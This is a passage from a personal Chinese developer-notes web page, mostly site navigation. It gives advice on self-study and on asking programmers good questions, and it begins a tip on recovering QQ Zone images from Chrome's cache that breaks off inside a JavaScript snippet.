\n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Developer\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Developer\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    保持技术精进\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    如何明智地向程序员提问\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"如何明智地向程序员提问\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    简短版\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    首先你需要明白\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    提问之前\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    发问的形式\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    问题解决后\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    附加\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    参考\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    本文的图片版\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#chromeqq\" class=\"md-nav__link\">\n    使用chrome缓存找到被删的qq空间的图片\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    为什么我喜欢写博客？\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#atoutgoing\" class=\"md-nav__link\">\n    支持被at的(outgoing)钉钉机器人\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#go\" class=\"md-nav__link\">\n    Go语言\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Go语言\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    安装\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#build\" class=\"md-nav__link\">\n    提取build失败缺失的库安装\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#idea20202-30\" class=\"md-nav__link\">\n    IDEA2020.2 30天后重新试用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    树莓派到手后配置\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"树莓派到手后配置\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    修改键盘布局\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    显示分辨率修改\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    调整无线网络和有线网络的优先级\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#electron\" class=\"md-nav__link\">\n    修改Electron应用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cloudflare\" class=\"md-nav__link\">\n    Cloudflare免费账户 获取访问日志\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#shodan-ip\" class=\"md-nav__link\">\n    shodan 搜索开放特定端口的ip列表\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#varlibdockeroverlay2\" class=\"md-nav__link\">\n    找到 /var/lib/docker/overlay2 对应的容器\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    保持技术精进\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    如何明智地向程序员提问\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"如何明智地向程序员提问\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    简短版\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    首先你需要明白\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    提问之前\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    发问的形式\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    问题解决后\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    附加\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    参考\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    本文的图片版\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#chromeqq\" class=\"md-nav__link\">\n    使用chrome缓存找到被删的qq空间的图片\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    为什么我喜欢写博客？\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#atoutgoing\" class=\"md-nav__link\">\n    支持被at的(outgoing)钉钉机器人\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#go\" class=\"md-nav__link\">\n    Go语言\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Go语言\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    安装\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#build\" class=\"md-nav__link\">\n    提取build失败缺失的库安装\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#idea20202-30\" class=\"md-nav__link\">\n    IDEA2020.2 30天后重新试用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    树莓派到手后配置\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"树莓派到手后配置\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    修改键盘布局\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    显示分辨率修改\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    调整无线网络和有线网络的优先级\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#electron\" class=\"md-nav__link\">\n    修改Electron应用\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cloudflare\" class=\"md-nav__link\">\n    Cloudflare免费账户 获取访问日志\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#shodan-ip\" class=\"md-nav__link\">\n    shodan 搜索开放特定端口的ip列表\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#varlibdockeroverlay2\" class=\"md-nav__link\">\n    找到 /var/lib/docker/overlay2 对应的容器\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>Developer</h1>\n\n<h2 id=\"_1\">保持技术精进<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>先得有方向，我用这个技术能给我带来什么回报？找到内在动力</p>\n<ol>\n<li>\n<p>读书，学习视频课程</p>\n</li>\n<li>\n<p>去阅读源码，大的开源项目有新的技术、巧妙的设计、优良的架构，对自己写代码、架构的能力都有非常大的提升</p>\n</li>\n<li>\n<p>在项目中使用自己想用的技术，解决现实问题</p>\n</li>\n<li>\n<p>加入开源项目，和牛人一起工作，向牛人看齐</p>\n</li>\n<li>\n<p>加入高手的社群，与优秀的人在一起</p>\n</li>\n</ol>\n<hr />\n<h2 id=\"_2\">如何明智地向程序员提问<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>From: https://z.codes/how-to-ask-computer-question/</p>\n<h3 id=\"_3\">简短版<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h3>\n<p>我现在遇到一个问题X</p>\n<p>我想到可能的原因是a, b, c</p>\n<p>我排除了以下可能性d, e, f</p>\n<p>我尝试过以下方案g, h, i</p>\n<p>请问还有什么是我遗漏的?</p>\n<h3 id=\"_4\">首先你需要明白<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h3>\n<ul>\n<li>\n<p>程序员们只偏爱艰巨的任务，或者能激发他们思维的好问题</p>\n</li>\n<li>\n<p>对方没有义务忍耐你的无知和懒惰</p>\n</li>\n<li>\n<p>周全的思考，准备好你的问题，草率的发问只能得到草率的回答，或者根本得不到任何答案</p>\n</li>\n</ul>\n<h3 id=\"_5\">提问之前<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<ul>\n<li>\n<p>用中<strong>英文</strong>进行<strong>Google</strong>, 翻前两页的结果, 往往Stack Overflow网站上的答案就是正确答案. 如果没有找到, <strong>更换可能的关键词多次尝试</strong></p>\n</li>\n<li>\n<p>在FAQ/文档里找答案, 耐心读英文文档是基本素养</p>\n</li>\n</ul>\n<h3 id=\"_6\">发问的形式<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<ul>\n<li><p>使用言简意赅，描述准确的标题</p>\n</li>\n<li><p>精确描述, 信息量大, 但是不啰嗦</p>\n<ul>\n<li><p>尽可能详细而明确的描述症状</p>\n</li>\n<li><p>提供问题发生的环境（机器配置、操作系统、应用程序以及别的什么）</p>\n</li>\n<li><p>说明你在提问前是怎样去研究和理解这个问题的</p>\n</li>\n<li><p>说明你在提问前采取了什么步骤去解决它</p>\n</li>\n<li><p>在自己的尝试中, 排除了哪些可能的原因</p>\n</li>\n<li><p>罗列最近做过什么可能有影响的硬件、软件变更</p>\n</li>\n<li><p>尽量想象一个程序员会怎样反问你，在提问的时候预先给他答案</p>\n</li>\n</ul>\n</li>\n<li><p>对每一个关键步骤截图, 如果有错误信息, **截图和文字版**连同产生问题的**代码**都要发给对方</p>\n</li>\n<li><p>给出自己出问题的代码, 必须是对方复制后就能立即运行, 并且复现问题的最简代码.  删去与问题无关的部分</p>\n</li>\n<li><p>别问应该自己解决的问题, 避免无意义的疑问</p>\n</li>\n</ul>\n\n<h3 id=\"_7\">问题解决后<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<ul>\n<li>\n<p>简短说明自己是如何解决的, 后续尝试的过程</p>\n</li>\n<li>\n<p>如果别人对你有帮助, 感谢一下对方, 比如发个红包什么的</p>\n</li>\n</ul>\n<h3 id=\"_8\">附加<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h3>\n<p><img alt=\"\" src=\"../assets/img/how_to_ask_question.jpg\" /></p>\n<h3 id=\"_9\">参考<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h3>\n<p>电脑出现故障，如何正确地提问 <a href=\"https://vjudge1.github.io/2015/07/01/how-to-ask.html\">https://vjudge1.github.io/2015/07/01/how-to-ask.html</a></p>\n<p>你会问问题吗 <a href=\"http://coolshell.cn/articles/3713.html\">http://coolshell.cn/articles/3713.html</a></p>\n<p>《提问的艺术：如何快速获得答案》（精读版） <a href=\"http://bbs.csdn.net/topics/390307835\">http://bbs.csdn.net/topics/390307835</a></p>\n<h3 id=\"_10\">本文的图片版<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h3>\n<p>(方便在聊天工具里甩给对方):</p>\n<p><img alt=\"如何明智地向程序员提问\" src=\"../assets/img/how-to-ask-computer-question.png\" /></p>\n<hr />\n<h2 id=\"chromeqq\">使用chrome缓存找到被删的qq空间的图片<a class=\"headerlink\" href=\"#chromeqq\" title=\"Permanent link\">&para;</a></h2>\n<p>看到有好友秀恩爱，然后就没有权限访问了，但打开过的图片有chrome缓存，于是便尝试从缓存找到图片url</p>\n<p>chrome的缓存可以在这里找到：</p>\n<div class=\"codehilite\"><pre><span></span><code>chrome://cache/\n</code></pre></div>\n\n<p>然后随意点开一张qq空间的图片，发现其包含psb（毕竟右键保存的文件名默认就是psb），然后就是搜索咯</p>\n<p>在点进去的缓存页面可以F12执行js，查看缓存图片：</p>\n<p>代码来源：http://www.sensefulsolutions.com/2012/01/viewing-chrome-cache-easy-way.html</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">    </span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">preTags</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">getElementsByTagName</span><span class=\"p\">(</span><span class=\"s1\">&#39;pre&#39;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">preWithHeaderInfo</span><span class=\"w\"> 